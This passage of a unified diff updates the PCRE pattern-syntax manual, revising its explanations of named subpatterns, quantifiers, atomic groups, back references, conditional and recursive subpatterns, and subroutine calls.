+       weekday, either as a 3-letter abbreviation or as the full name, and  in
        both cases you want to extract the abbreviation. This pattern (ignoring
        the line breaks) does the job:
 
-         (?P<DN>Mon|Fri|Sun)(?:day)?|
-         (?P<DN>Tue)(?:sday)?|
-         (?P<DN>Wed)(?:nesday)?|
-         (?P<DN>Thu)(?:rsday)?|
-         (?P<DN>Sat)(?:urday)?
+         (?<DN>Mon|Fri|Sun)(?:day)?|
+         (?<DN>Tue)(?:sday)?|
+         (?<DN>Wed)(?:nesday)?|
+         (?<DN>Thu)(?:rsday)?|
+         (?<DN>Sat)(?:urday)?
 
-       There  are  five capturing substrings, but only one is ever set after a
-       match.  The convenience  function  for  extracting  the  data  by  name
-       returns  the  substring  for  the first, and in this example, the only,
-       subpattern of that name that matched.  This  saves  searching  to  find
-       which  numbered  subpattern  it  was. If you make a reference to a non-
-       unique named subpattern from elsewhere in the  pattern,  the  one  that
-       corresponds  to  the  lowest number is used. For further details of the
-       interfaces for handling named subpatterns, see the  pcreapi  documenta-
-       tion.
+       There are five capturing substrings, but only one is ever set  after  a
+       match.  (An alternative way of solving this problem is to use a "branch
+       reset" subpattern, as described in the previous section.)
 
+       The convenience function for extracting the data by  name  returns  the
+       substring  for  the first (and in this example, the only) subpattern of
+       that name that matched. This saves searching  to  find  which  numbered
+       subpattern  it  was. If you make a reference to a non-unique named sub-
+       pattern from elsewhere in the pattern, the one that corresponds to  the
+       lowest  number  is used. For further details of the interfaces for han-
+       dling named subpatterns, see the pcreapi documentation.
 
+       Warning: You cannot use different names to distinguish between two sub-
+       patterns  with  the same number (see the previous section) because PCRE
+       uses only the numbers when matching.
+
+
 REPETITION
 
-       Repetition  is  specified  by  quantifiers, which can follow any of the
+       Repetition is specified by quantifiers, which can  follow  any  of  the
        following items:
 
          a literal data character
-         the . metacharacter
+         the dot metacharacter
          the \C escape sequence
          the \X escape sequence (in UTF-8 mode with Unicode properties)
+         the \R escape sequence
          an escape such as \d that matches a single character
          a character class
          a back reference (see next section)
          a parenthesized subpattern (unless it is an assertion)
 
-       The general repetition quantifier specifies a minimum and maximum  num-
-       ber  of  permitted matches, by giving the two numbers in curly brackets
-       (braces), separated by a comma. The numbers must be  less  than  65536,
+       The  general repetition quantifier specifies a minimum and maximum num-
+       ber of permitted matches, by giving the two numbers in  curly  brackets
+       (braces),  separated  by  a comma. The numbers must be less than 65536,
        and the first must be less than or equal to the second. For example:
 
          z{2,4}
 
-       matches  "zz",  "zzz",  or  "zzzz". A closing brace on its own is not a
-       special character. If the second number is omitted, but  the  comma  is
-       present,  there  is  no upper limit; if the second number and the comma
-       are both omitted, the quantifier specifies an exact number of  required
+       matches "zz", "zzz", or "zzzz". A closing brace on its  own  is  not  a
+       special  character.  If  the second number is omitted, but the comma is
+       present, there is no upper limit; if the second number  and  the  comma
+       are  both omitted, the quantifier specifies an exact number of required
        matches. Thus
 
          [aeiou]{3,}
@@ -3358,9 +4049,9 @@
 
          \d{8}
 
-       matches  exactly  8  digits. An opening curly bracket that appears in a
-       position where a quantifier is not allowed, or one that does not  match
-       the  syntax of a quantifier, is taken as a literal character. For exam-
+       matches exactly 8 digits. An opening curly bracket that  appears  in  a
+       position  where a quantifier is not allowed, or one that does not match
+       the syntax of a quantifier, is taken as a literal character. For  exam-
        ple, {,6} is not a quantifier, but a literal string of four characters.
 
        In  UTF-8  mode,  quantifiers  apply to UTF-8 characters rather than to
@@ -3371,33 +4062,36 @@
        may be of different lengths).
 
        The quantifier {0} is permitted, causing the expression to behave as if
-       the previous item and the quantifier were not present.
+       the previous item and the quantifier were not present. This may be use-
+       ful for subpatterns that are referenced as subroutines  from  elsewhere
+       in the pattern. Items other than subpatterns that have a {0} quantifier
+       are omitted from the compiled pattern.
 
-       For  convenience  (and  historical compatibility) the three most common
-       quantifiers have single-character abbreviations:
+       For convenience, the three most common quantifiers have  single-charac-
+       ter abbreviations:
 
          *    is equivalent to {0,}
          +    is equivalent to {1,}
          ?    is equivalent to {0,1}
 
-       It is possible to construct infinite loops by  following  a  subpattern
+       It  is  possible  to construct infinite loops by following a subpattern
        that can match no characters with a quantifier that has no upper limit,
        for example:
 
          (a?)*
 
        Earlier versions of Perl and PCRE used to give an error at compile time
-       for  such  patterns. However, because there are cases where this can be
-       useful, such patterns are now accepted, but if any  repetition  of  the
-       subpattern  does in fact match no characters, the loop is forcibly bro-
+       for such patterns. However, because there are cases where this  can  be
+       useful,  such  patterns  are now accepted, but if any repetition of the
+       subpattern does in fact match no characters, the loop is forcibly  bro-
        ken.
 
-       By default, the quantifiers are "greedy", that is, they match  as  much
-       as  possible  (up  to  the  maximum number of permitted times), without
-       causing the rest of the pattern to fail. The classic example  of  where
+       By  default,  the quantifiers are "greedy", that is, they match as much
+       as possible (up to the maximum  number  of  permitted  times),  without
+       causing  the  rest of the pattern to fail. The classic example of where
        this gives problems is in trying to match comments in C programs. These
-       appear between /* and */ and within the comment,  individual  *  and  /
-       characters  may  appear. An attempt to match C comments by applying the
+       appear  between  /*  and  */ and within the comment, individual * and /
+       characters may appear. An attempt to match C comments by  applying  the
        pattern
 
          /\*.*\*/
@@ -3406,19 +4100,19 @@
 
          /* first comment */  not comment  /* second comment */
 
-       fails, because it matches the entire string owing to the greediness  of
+       fails,  because it matches the entire string owing to the greediness of
        the .*  item.
 
-       However,  if  a quantifier is followed by a question mark, it ceases to
+       However, if a quantifier is followed by a question mark, it  ceases  to
        be greedy, and instead matches the minimum number of times possible, so
        the pattern
 
          /\*.*?\*/
 
-       does  the  right  thing with the C comments. The meaning of the various
-       quantifiers is not otherwise changed,  just  the  preferred  number  of
-       matches.   Do  not  confuse this use of question mark with its use as a
-       quantifier in its own right. Because it has two uses, it can  sometimes
+       does the right thing with the C comments. The meaning  of  the  various
+       quantifiers  is  not  otherwise  changed,  just the preferred number of
+       matches.  Do not confuse this use of question mark with its  use  as  a
+       quantifier  in its own right. Because it has two uses, it can sometimes
        appear doubled, as in
 
          \d??\d
@@ -3426,22 +4120,23 @@
        which matches one digit by preference, but can match two if that is the
        only way the rest of the pattern matches.
 
-       If the PCRE_UNGREEDY option is set (an option which is not available in
-       Perl),  the  quantifiers are not greedy by default, but individual ones
-       can be made greedy by following them with a  question  mark.  In  other
+       If  the PCRE_UNGREEDY option is set (an option that is not available in
+       Perl), the quantifiers are not greedy by default, but  individual  ones
+       can  be  made  greedy  by following them with a question mark. In other
        words, it inverts the default behaviour.
 
-       When  a  parenthesized  subpattern  is quantified with a minimum repeat
-       count that is greater than 1 or with a limited maximum, more memory  is
-       required  for  the  compiled  pattern, in proportion to the size of the
+       When a parenthesized subpattern is quantified  with  a  minimum  repeat
+       count  that is greater than 1 or with a limited maximum, more memory is
+       required for the compiled pattern, in proportion to  the  size  of  the
        minimum or maximum.
 
        If a pattern starts with .* or .{0,} and the PCRE_DOTALL option (equiv-
-       alent  to Perl's /s) is set, thus allowing the . to match newlines, the
-       pattern is implicitly anchored, because whatever follows will be  tried
-       against  every character position in the subject string, so there is no
-       point in retrying the overall match at any position  after  the  first.
-       PCRE normally treats such a pattern as though it were preceded by \A.
+       alent to Perl's /s) is set, thus allowing the dot  to  match  newlines,
+       the  pattern  is  implicitly anchored, because whatever follows will be
+       tried against every character position in the subject string, so  there
+       is  no  point  in  retrying the overall match at any position after the
+       first. PCRE normally treats such a pattern as though it  were  preceded
+       by \A.
 
        In  cases  where  it  is known that the subject string contains no new-
        lines, it is worth setting PCRE_DOTALL in order to  obtain  this  opti-
@@ -3449,8 +4144,8 @@
 
        However,  there is one situation where the optimization cannot be used.
        When .*  is inside capturing parentheses that  are  the  subject  of  a
-       backreference  elsewhere in the pattern, a match at the start may fail,
-       and a later one succeed. Consider, for example:
+       backreference  elsewhere  in the pattern, a match at the start may fail
+       where a later one succeeds. Consider, for example:
 
          (.*)abc\1
 
@@ -3474,29 +4169,29 @@
 
 ATOMIC GROUPING AND POSSESSIVE QUANTIFIERS
 
-       With both maximizing and minimizing repetition, failure of what follows
-       normally causes the repeated item to be re-evaluated to see if  a  dif-
-       ferent number of repeats allows the rest of the pattern to match. Some-
-       times it is useful to prevent this, either to change the nature of  the
-       match,  or  to  cause it fail earlier than it otherwise might, when the
-       author of the pattern knows there is no point in carrying on.
+       With  both  maximizing ("greedy") and minimizing ("ungreedy" or "lazy")
+       repetition, failure of what follows normally causes the  repeated  item
+       to  be  re-evaluated to see if a different number of repeats allows the
+       rest of the pattern to match. Sometimes it is useful to  prevent  this,
+       either  to  change the nature of the match, or to cause it fail earlier
+       than it otherwise might, when the author of the pattern knows there  is
+       no point in carrying on.
 
-       Consider, for example, the pattern \d+foo when applied to  the  subject
+       Consider,  for  example, the pattern \d+foo when applied to the subject
        line
 
          123456bar
 
        After matching all 6 digits and then failing to match "foo", the normal
-       action of the matcher is to try again with only 5 digits  matching  the
-       \d+  item,  and  then  with  4,  and  so on, before ultimately failing.
-       "Atomic grouping" (a term taken from Jeffrey  Friedl's  book)  provides
-       the  means for specifying that once a subpattern has matched, it is not
+       action  of  the matcher is to try again with only 5 digits matching the
+       \d+ item, and then with  4,  and  so  on,  before  ultimately  failing.
+       "Atomic  grouping"  (a  term taken from Jeffrey Friedl's book) provides
+       the means for specifying that once a subpattern has matched, it is  not
        to be re-evaluated in this way.
 
-       If we use atomic grouping for the previous example, the  matcher  would
-       give up immediately on failing to match "foo" the first time. The nota-
-       tion is a kind of special parenthesis, starting with  (?>  as  in  this
-       example:
+       If  we  use atomic grouping for the previous example, the matcher gives
+       up immediately on failing to match "foo" the first time.  The  notation
+       is a kind of special parenthesis, starting with (?> as in this example:
 
          (?>\d+)foo
 
@@ -3525,17 +4220,29 @@
 
          \d++foo
 
-       Possessive  quantifiers  are  always  greedy;  the   setting   of   the
+       Note that a possessive quantifier can be used with an entire group, for
+       example:
+
+         (abc|xyz){2,3}+
+
+       Possessive   quantifiers   are   always  greedy;  the  setting  of  the
        PCRE_UNGREEDY option is ignored. They are a convenient notation for the
-       simpler forms of atomic group. However, there is no difference  in  the
-       meaning  or  processing  of  a possessive quantifier and the equivalent
-       atomic group.
+       simpler  forms  of atomic group. However, there is no difference in the
+       meaning of a possessive quantifier and  the  equivalent  atomic  group,
+       though  there  may  be a performance difference; possessive quantifiers
+       should be slightly faster.
 
-       The possessive quantifier syntax is an extension to  the  Perl  syntax.
-       Jeffrey  Friedl originated the idea (and the name) in the first edition
-       of his book.  Mike McCloskey liked it, so implemented it when he  built
-       Sun's Java package, and PCRE copied it from there.
+       The possessive quantifier syntax is an extension to the Perl  5.8  syn-
+       tax.   Jeffrey  Friedl  originated the idea (and the name) in the first
+       edition of his book. Mike McCloskey liked it, so implemented it when he
+       built  Sun's Java package, and PCRE copied it from there. It ultimately
+       found its way into Perl at release 5.10.
 
+       PCRE has an optimization that automatically "possessifies" certain sim-
+       ple  pattern  constructs.  For  example, the sequence A+B is treated as
+       A++B because there is no point in backtracking into a sequence  of  A's
+       when B must follow.
+
        When  a  pattern  contains an unlimited repeat inside a subpattern that
        can itself be repeated an unlimited number of  times,  the  use  of  an
        atomic  group  is  the  only way to avoid some failing matches taking a
@@ -3561,31 +4268,56 @@
 
          ((?>\D+)|<\d+>)*[!?]
 
-       sequences of non-digits cannot be broken, and failure happens  quickly.
+       sequences of non-digits cannot be broken, and failure happens quickly.
 
 
 BACK REFERENCES
 
        Outside a character class, a backslash followed by a digit greater than
        0 (and possibly further digits) is a back reference to a capturing sub-
-       pattern  earlier  (that is, to its left) in the pattern, provided there
+       pattern earlier (that is, to its left) in the pattern,  provided  there
        have been that many previous capturing left parentheses.
 
        However, if the decimal number following the backslash is less than 10,
-       it  is  always  taken  as a back reference, and causes an error only if
-       there are not that many capturing left parentheses in the  entire  pat-
-       tern.  In  other words, the parentheses that are referenced need not be
-       to the left of the reference for numbers less than 10. A "forward  back
-       reference"  of  this  type can make sense when a repetition is involved
-       and the subpattern to the right has participated in an  earlier  itera-
+       it is always taken as a back reference, and causes  an  error  only  if
+       there  are  not that many capturing left parentheses in the entire pat-
+       tern. In other words, the parentheses that are referenced need  not  be
+       to  the left of the reference for numbers less than 10. A "forward back
+       reference" of this type can make sense when a  repetition  is  involved
+       and  the  subpattern to the right has participated in an earlier itera-
        tion.
 
-       It is not possible to have a numerical "forward back reference" to sub-
-       pattern whose number is 10 or more. However, a back  reference  to  any
-       subpattern  is  possible  using named parentheses (see below). See also
-       the subsection entitled "Non-printing  characters"  above  for  further
-       details of the handling of digits following a backslash.
+       It is not possible to have a numerical "forward back  reference"  to  a
+       subpattern  whose  number  is  10  or  more using this syntax because a
+       sequence such as \50 is interpreted as a character  defined  in  octal.
+       See the subsection entitled "Non-printing characters" above for further
+       details of the handling of digits following a backslash.  There  is  no
+       such  problem  when named parentheses are used. A back reference to any
+       subpattern is possible using named parentheses (see below).
 
+       Another way of avoiding the ambiguity inherent in  the  use  of  digits
+       following a backslash is to use the \g escape sequence, which is a fea-
+       ture introduced in Perl 5.10.  This  escape  must  be  followed  by  an
+       unsigned  number  or  a negative number, optionally enclosed in braces.
+       These examples are all identical:
+
+         (ring), \1
+         (ring), \g1
+         (ring), \g{1}
+
+       An unsigned number specifies an absolute reference without the  ambigu-
+       ity that is present in the older syntax. It is also useful when literal
+       digits follow the reference. A negative number is a relative reference.
+       Consider this example:
+
+         (abc(def)ghi)\g{-1}
+
+       The sequence \g{-1} is a reference to the most recently started captur-
+       ing subpattern before \g, that is, is it equivalent to  \2.  Similarly,
+       \g{-2} would be equivalent to \1. The use of relative references can be
+       helpful in long patterns, and also in  patterns  that  are  created  by
+       joining together fragments that contain references within themselves.
+
        A  back  reference matches whatever actually matched the capturing sub-
        pattern in the current subject string, rather  than  anything  matching
        the subpattern itself (see "Subpatterns as subroutines" below for a way
@@ -3603,10 +4335,17 @@
        matches  "rah  rah"  and  "RAH RAH", but not "RAH rah", even though the
        original capturing subpattern is matched caselessly.
 
-       Back references to named subpatterns use the Python  syntax  (?P=name).
-       We could rewrite the above example as follows:
+       There are several different ways of writing back  references  to  named
+       subpatterns.  The  .NET syntax \k{name} and the Perl syntax \k<name> or
+       \k'name' are supported, as is the Python syntax (?P=name). Perl  5.10's
+       unified back reference syntax, in which \g can be used for both numeric
+       and named references, is also supported. We  could  rewrite  the  above
+       example in any of the following ways:
 
+         (?<p1>(?i)rah)\s+\k<p1>
+         (?'p1'(?i)rah)\s+\k{p1}
          (?P<p1>(?i)rah)\s+(?P=p1)
+         (?<p1>(?i)rah)\s+\g{p1}
 
        A  subpattern  that  is  referenced  by  name may appear in the pattern
        before or after the reference.
@@ -3721,19 +4460,23 @@
 
          (?<=abc|abde)
 
+       In some cases, the Perl 5.10 escape sequence \K (see above) can be used
+       instead of a lookbehind assertion; this is not restricted to  a  fixed-
+       length.
+
        The  implementation  of lookbehind assertions is, for each alternative,
-       to temporarily move the current position back by the  fixed  width  and
+       to temporarily move the current position back by the fixed  length  and
        then try to match. If there are insufficient characters before the cur-
-       rent position, the match is deemed to fail.
+       rent position, the assertion fails.
 
        PCRE does not allow the \C escape (which matches a single byte in UTF-8
        mode)  to appear in lookbehind assertions, because it makes it impossi-
-       ble to calculate the length of the lookbehind. The \X escape, which can
-       match different numbers of bytes, is also not permitted.
+       ble to calculate the length of the lookbehind. The \X and  \R  escapes,
+       which can match different numbers of bytes, are also not permitted.
 
-       Atomic  groups can be used in conjunction with lookbehind assertions to
-       specify efficient matching at the end of the subject string. Consider a
-       simple pattern such as
+       Possessive  quantifiers  can  be  used  in  conjunction with lookbehind
+       assertions to specify efficient matching at  the  end  of  the  subject
+       string. Consider a simple pattern such as
 
          abcd$
 
@@ -3750,13 +4493,9 @@
        again  the search for "a" covers the entire string, from right to left,
        so we are no better off. However, if the pattern is written as
 
-         ^(?>.*)(?<=abcd)
-
-       or, equivalently, using the possessive quantifier syntax,
-
          ^.*+(?<=abcd)
 
-       there can be no backtracking for the .* item; it  can  match  only  the
+       there can be no backtracking for the .*+ item; it can  match  only  the
        entire  string.  The subsequent lookbehind assertion does a single test
        on the last four characters. If it fails, the match fails  immediately.
        For  long  strings, this approach makes a significant difference to the
@@ -3811,16 +4550,20 @@
        no-pattern (if present) is used. If there are more  than  two  alterna-
        tives in the subpattern, a compile-time error occurs.
 
-       There are three kinds of condition. If the text between the parentheses
-       consists of a sequence of digits, or a sequence of alphanumeric charac-
-       ters  and underscores, the condition is satisfied if the capturing sub-
-       pattern of that number or name has previously matched. There is a  pos-
-       sible  ambiguity here, because subpattern names may consist entirely of
-       digits. PCRE looks first for a named subpattern; if it cannot find  one
-       and  the text consists entirely of digits, it looks for a subpattern of
-       that number, which must be greater than zero.  Using  subpattern  names
-       that consist entirely of digits is not recommended.
+       There  are  four  kinds of condition: references to subpatterns, refer-
+       ences to recursion, a pseudo-condition called DEFINE, and assertions.
 
+   Checking for a used subpattern by number
+
+       If the text between the parentheses consists of a sequence  of  digits,
+       the  condition  is  true if the capturing subpattern of that number has
+       previously matched. An alternative notation is to  precede  the  digits
+       with a plus or minus sign. In this case, the subpattern number is rela-
+       tive rather than absolute.  The most recently opened parentheses can be
+       referenced  by  (?(-1),  the  next most recent by (?(-2), and so on. In
+       looping constructs it can also make sense to refer to subsequent groups
+       with constructs such as (?(+2).
+
        Consider  the  following  pattern, which contains non-significant white
        space to make it more readable (assume the PCRE_EXTENDED option) and to
        divide it into three parts for ease of discussion:
@@ -3836,18 +4579,76 @@
        tern  is  executed  and  a  closing parenthesis is required. Otherwise,
        since no-pattern is not present, the  subpattern  matches  nothing.  In
        other  words,  this  pattern  matches  a  sequence  of non-parentheses,
-       optionally enclosed in parentheses. Rewriting it to use a named subpat-
-       tern gives this:
+       optionally enclosed in parentheses.
 
-         (?P<OPEN> \( )?    [^()]+    (?(OPEN) \) )
+       If you were embedding this pattern in a larger one,  you  could  use  a
+       relative reference:
 
+         ...other stuff... ( \( )?    [^()]+    (?(-1) \) ) ...
+
+       This  makes  the  fragment independent of the parentheses in the larger
+       pattern.
+
+   Checking for a used subpattern by name
+
+       Perl uses the syntax (?(<name>)...) or (?('name')...)  to  test  for  a
+       used  subpattern  by  name.  For compatibility with earlier versions of
+       PCRE, which had this facility before Perl, the syntax  (?(name)...)  is
+       also  recognized. However, there is a possible ambiguity with this syn-
+       tax, because subpattern names may  consist  entirely  of  digits.  PCRE
+       looks  first for a named subpattern; if it cannot find one and the name
+       consists entirely of digits, PCRE looks for a subpattern of  that  num-
+       ber,  which must be greater than zero. Using subpattern names that con-
+       sist entirely of digits is not recommended.
+
+       Rewriting the above example to use a named subpattern gives this:
+
+         (?<OPEN> \( )?    [^()]+    (?(<OPEN>) \) )
+
+
+   Checking for pattern recursion
+
        If the condition is the string (R), and there is no subpattern with the
-       name R, the condition is satisfied if a recursive call to  the  pattern
-       or  subpattern  has  been made. At "top level", the condition is false.
-       This is a PCRE extension.  Recursive patterns are described in the next
-       section.
+       name  R, the condition is true if a recursive call to the whole pattern
+       or any subpattern has been made. If digits or a name preceded by amper-
+       sand follow the letter R, for example:
 
-       If  the  condition  is  not  a sequence of digits or (R), it must be an
+         (?(R3)...) or (?(R&name)...)
+
+       the  condition is true if the most recent recursion is into the subpat-
+       tern whose number or name is given. This condition does not  check  the
+       entire recursion stack.
+
+       At  "top  level", all these recursion test conditions are false. Recur-
+       sive patterns are described below.
+
+   Defining subpatterns for use by reference only
+
+       If the condition is the string (DEFINE), and  there  is  no  subpattern
+       with  the  name  DEFINE,  the  condition is always false. In this case,
+       there may be only one alternative  in  the  subpattern.  It  is  always
+       skipped  if  control  reaches  this  point  in the pattern; the idea of
+       DEFINE is that it can be used to define "subroutines" that can be  ref-
+       erenced  from elsewhere. (The use of "subroutines" is described below.)
+       For example, a pattern to match an IPv4 address could be  written  like
+       this (ignore whitespace and line breaks):
+
+         (?(DEFINE) (?<byte> 2[0-4]\d | 25[0-5] | 1\d\d | [1-9]?\d) )
+         \b (?&byte) (\.(?&byte)){3} \b
+
+       The  first part of the pattern is a DEFINE group inside which a another
+       group named "byte" is defined. This matches an individual component  of
+       an  IPv4  address  (a number less than 256). When matching takes place,
+       this part of the pattern is skipped because DEFINE acts  like  a  false
+       condition.
+
+       The rest of the pattern uses references to the named group to match the
+       four dot-separated components of an IPv4 address, insisting on  a  word
+       boundary at each end.
+
+   Assertion conditions
+
+       If  the  condition  is  not  in any of the above formats, it must be an
        assertion.  This may be a positive or negative lookahead or  lookbehind
        assertion.  Consider  this  pattern,  again  containing non-significant
        white space, and with the two alternatives on the second line:
@@ -3882,112 +4683,140 @@
        unlimited nested parentheses. Without the use of  recursion,  the  best
        that  can  be  done  is  to use a pattern that matches up to some fixed
        depth of nesting. It is not possible to  handle  an  arbitrary  nesting
-       depth.  Perl  provides  a  facility  that allows regular expressions to
-       recurse (amongst other things). It does this by interpolating Perl code
-       in the expression at run time, and the code can refer to the expression
-       itself. A Perl pattern to solve the parentheses problem can be  created
-       like this:
+       depth.
 
+       For some time, Perl has provided a facility that allows regular expres-
+       sions to recurse (amongst other things). It does this by  interpolating
+       Perl  code in the expression at run time, and the code can refer to the
+       expression itself. A Perl pattern using code interpolation to solve the
+       parentheses problem can be created like this:
+
          $re = qr{\( (?: (?>[^()]+) | (?p{$re}) )* \)}x;
 
        The (?p{...}) item interpolates Perl code at run time, and in this case
-       refers recursively to the pattern in which it appears. Obviously,  PCRE
-       cannot  support  the  interpolation  of Perl code. Instead, it supports
-       some special syntax for recursion of the entire pattern, and  also  for
-       individual subpattern recursion.
+       refers recursively to the pattern in which it appears.
 
-       The  special item that consists of (? followed by a number greater than
+       Obviously, PCRE cannot support the interpolation of Perl code. Instead,
+       it  supports  special  syntax  for recursion of the entire pattern, and
+       also for individual subpattern recursion.  After  its  introduction  in
+       PCRE  and  Python,  this  kind of recursion was introduced into Perl at
+       release 5.10.
+
+       A special item that consists of (? followed by a  number  greater  than
        zero and a closing parenthesis is a recursive call of the subpattern of
-       the  given  number, provided that it occurs inside that subpattern. (If
-       not, it is a "subroutine" call, which is described  in  the  next  sec-
-       tion.)  The special item (?R) is a recursive call of the entire regular
-       expression.
+       the given number, provided that it occurs inside that  subpattern.  (If
+       not,  it  is  a  "subroutine" call, which is described in the next sec-
+       tion.) The special item (?R) or (?0) is a recursive call of the  entire
+       regular expression.
 
-       A recursive subpattern call is always treated as an atomic group.  That
-       is,  once  it  has  matched some of the subject string, it is never re-
-       entered, even if it contains untried alternatives and there is a subse-
-       quent matching failure.
+       In  PCRE (like Python, but unlike Perl), a recursive subpattern call is
+       always treated as an atomic group. That is, once it has matched some of
+       the subject string, it is never re-entered, even if it contains untried
+       alternatives and there is a subsequent matching failure.
 
-       This  PCRE  pattern  solves  the nested parentheses problem (assume the
+       This PCRE pattern solves the nested  parentheses  problem  (assume  the
        PCRE_EXTENDED option is set so that white space is ignored):
 
          \( ( (?>[^()]+) | (?R) )* \)
 
-       First it matches an opening parenthesis. Then it matches any number  of
-       substrings  which  can  either  be  a sequence of non-parentheses, or a
-       recursive match of the pattern itself (that is, a  correctly  parenthe-
+       First  it matches an opening parenthesis. Then it matches any number of
+       substrings which can either be a  sequence  of  non-parentheses,  or  a
+       recursive  match  of the pattern itself (that is, a correctly parenthe-
        sized substring).  Finally there is a closing parenthesis.
 
-       If  this  were  part of a larger pattern, you would not want to recurse
+       If this were part of a larger pattern, you would not  want  to  recurse
        the entire pattern, so instead you could use this:
 
          ( \( ( (?>[^()]+) | (?1) )* \) )
 
-       We have put the pattern into parentheses, and caused the  recursion  to
-       refer  to them instead of the whole pattern. In a larger pattern, keep-
-       ing track of parenthesis numbers can be tricky. It may be  more  conve-
-       nient  to use named parentheses instead. For this, PCRE uses (?P>name),
-       which is an extension to the Python syntax that  PCRE  uses  for  named
-       parentheses (Perl does not provide named parentheses). We could rewrite
-       the above example as follows:
+       We  have  put the pattern into parentheses, and caused the recursion to
+       refer to them instead of the whole pattern.
 
-         (?P<pn> \( ( (?>[^()]+) | (?P>pn) )* \) )
+       In a larger pattern,  keeping  track  of  parenthesis  numbers  can  be
+       tricky.  This is made easier by the use of relative references. (A Perl
+       5.10 feature.)  Instead of (?1) in the  pattern  above  you  can  write
+       (?-2) to refer to the second most recently opened parentheses preceding
+       the recursion. In other  words,  a  negative  number  counts  capturing
+       parentheses leftwards from the point at which it is encountered.
 
-       This particular example pattern contains nested unlimited repeats,  and
-       so  the  use of atomic grouping for matching strings of non-parentheses
-       is important when applying the pattern to strings that  do  not  match.
-       For example, when this pattern is applied to
+       It  is  also  possible  to refer to subsequently opened parentheses, by
+       writing references such as (?+2). However, these  cannot  be  recursive
+       because  the  reference  is  not inside the parentheses that are refer-
+       enced. They are always "subroutine" calls, as  described  in  the  next
+       section.
 
+       An  alternative  approach is to use named parentheses instead. The Perl
+       syntax for this is (?&name); PCRE's earlier syntax  (?P>name)  is  also
+       supported. We could rewrite the above example as follows:
+
+         (?<pn> \( ( (?>[^()]+) | (?&pn) )* \) )
+
+       If  there  is more than one subpattern with the same name, the earliest
+       one is used.
+
+       This particular example pattern that we have been looking  at  contains
+       nested  unlimited repeats, and so the use of atomic grouping for match-
+       ing strings of non-parentheses is important when applying  the  pattern
+       to strings that do not match. For example, when this pattern is applied
+       to
+
          (aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa()
 
-       it  yields "no match" quickly. However, if atomic grouping is not used,
-       the match runs for a very long time indeed because there  are  so  many
-       different  ways  the  + and * repeats can carve up the subject, and all
+       it yields "no match" quickly. However, if atomic grouping is not  used,
+       the  match  runs  for a very long time indeed because there are so many
+       different ways the + and * repeats can carve up the  subject,  and  all
        have to be tested before failure can be reported.
 
        At the end of a match, the values set for any capturing subpatterns are
        those from the outermost level of the recursion at which the subpattern
-       value is set.  If you want to obtain  intermediate  values,  a  callout
-       function can be used (see the next section and the pcrecallout documen-
-       tation). If the pattern above is matched against
+       value  is  set.   If  you want to obtain intermediate values, a callout
+       function can be used (see below and the pcrecallout documentation).  If
+       the pattern above is matched against
 
          (ab(cd)ef)
 
-       the value for the capturing parentheses is  "ef",  which  is  the  last
-       value  taken  on at the top level. If additional parentheses are added,
+       the  value  for  the  capturing  parentheses is "ef", which is the last
+       value taken on at the top level. If additional parentheses  are  added,
        giving
 
          \( ( ( (?>[^()]+) | (?R) )* ) \)
             ^                        ^
             ^                        ^
 
-       the string they capture is "ab(cd)ef", the contents of  the  top  level
-       parentheses.  If there are more than 15 capturing parentheses in a pat-
+       the  string  they  capture is "ab(cd)ef", the contents of the top level
+       parentheses. If there are more than 15 capturing parentheses in a  pat-
        tern, PCRE has to obtain extra memory to store data during a recursion,
-       which  it  does  by  using pcre_malloc, freeing it via pcre_free after-
-       wards. If  no  memory  can  be  obtained,  the  match  fails  with  the
+       which it does by using pcre_malloc, freeing  it  via  pcre_free  after-
+       wards.  If  no  memory  can  be  obtained,  the  match  fails  with the
        PCRE_ERROR_NOMEMORY error.
 
-       Do  not  confuse  the (?R) item with the condition (R), which tests for
-       recursion.  Consider this pattern, which matches text in  angle  brack-
-       ets,  allowing for arbitrary nesting. Only digits are allowed in nested
-       brackets (that is, when recursing), whereas any characters are  permit-
+       Do not confuse the (?R) item with the condition (R),  which  tests  for
+       recursion.   Consider  this pattern, which matches text in angle brack-
+       ets, allowing for arbitrary nesting. Only digits are allowed in  nested
+       brackets  (that is, when recursing), whereas any characters are permit-
        ted at the outer level.
 
          < (?: (?(R) \d++  | [^<>]*+) | (?R)) * >
 
-       In  this  pattern, (?(R) is the start of a conditional subpattern, with
-       two different alternatives for the recursive and  non-recursive  cases.
+       In this pattern, (?(R) is the start of a conditional  subpattern,  with
+       two  different  alternatives for the recursive and non-recursive cases.
        The (?R) item is the actual recursive call.
 
 
 SUBPATTERNS AS SUBROUTINES
 
        If the syntax for a recursive subpattern reference (either by number or
-       by name) is used outside the parentheses to which it refers,  it  oper-
-       ates  like  a  subroutine in a programming language. An earlier example
-       pointed out that the pattern
+       by  name)  is used outside the parentheses to which it refers, it oper-
+       ates like a subroutine in a programming language. The "called"  subpat-
+       tern may be defined before or after the reference. A numbered reference
+       can be absolute or relative, as in these examples:
 
+         (...(absolute)...)...(?2)...
+         (...(relative)...)...(?-1)...
+         (...(?+1)...(relative)...
+
+       An earlier example pointed out that the pattern
+
          (sens|respons)e and \1ibility
 
        matches "sense and sensibility" and "response and responsibility",  but
@@ -3996,55 +4825,570 @@
          (sens|respons)e and (?1)ibility
 
        is  used, it does match "sense and responsibility" as well as the other
-       two strings. Such references, if given  numerically,  must  follow  the
-       subpattern  to which they refer. However, named references can refer to
-       later subpatterns.
+       two strings. Another example is  given  in  the  discussion  of  DEFINE
+       above.
 
        Like recursive subpatterns, a "subroutine" call is always treated as an
-       atomic  group. That is, once it has matched some of the subject string,
-       it is never re-entered, even if it contains  untried  alternatives  and
+       atomic group. That is, once it has matched some of the subject  string,
+       it  is  never  re-entered, even if it contains untried alternatives and
        there is a subsequent matching failure.
 
+       When a subpattern is used as a subroutine, processing options  such  as
+       case-independence are fixed when the subpattern is defined. They cannot
+       be changed for different calls. For example, consider this pattern:
 
+         (abc)(?i:(?-1))
+
+       It matches "abcabc". It does not match "abcABC" because the  change  of
+       processing option does not affect the called subpattern.
+
+
+ONIGURUMA SUBROUTINE SYNTAX
+
+       For  compatibility with Oniguruma, the non-Perl syntax \g followed by a
+       name or a number enclosed either in angle brackets or single quotes, is
+       an  alternative  syntax  for  referencing a subpattern as a subroutine,
+       possibly recursively. Here are two of the examples used above,  rewrit-
+       ten using this syntax:
+
+         (?<pn> \( ( (?>[^()]+) | \g<pn> )* \) )
+         (sens|respons)e and \g'1'ibility
+
+       PCRE  supports  an extension to Oniguruma: if a number is preceded by a
+       plus or a minus sign it is taken as a relative reference. For example:
+
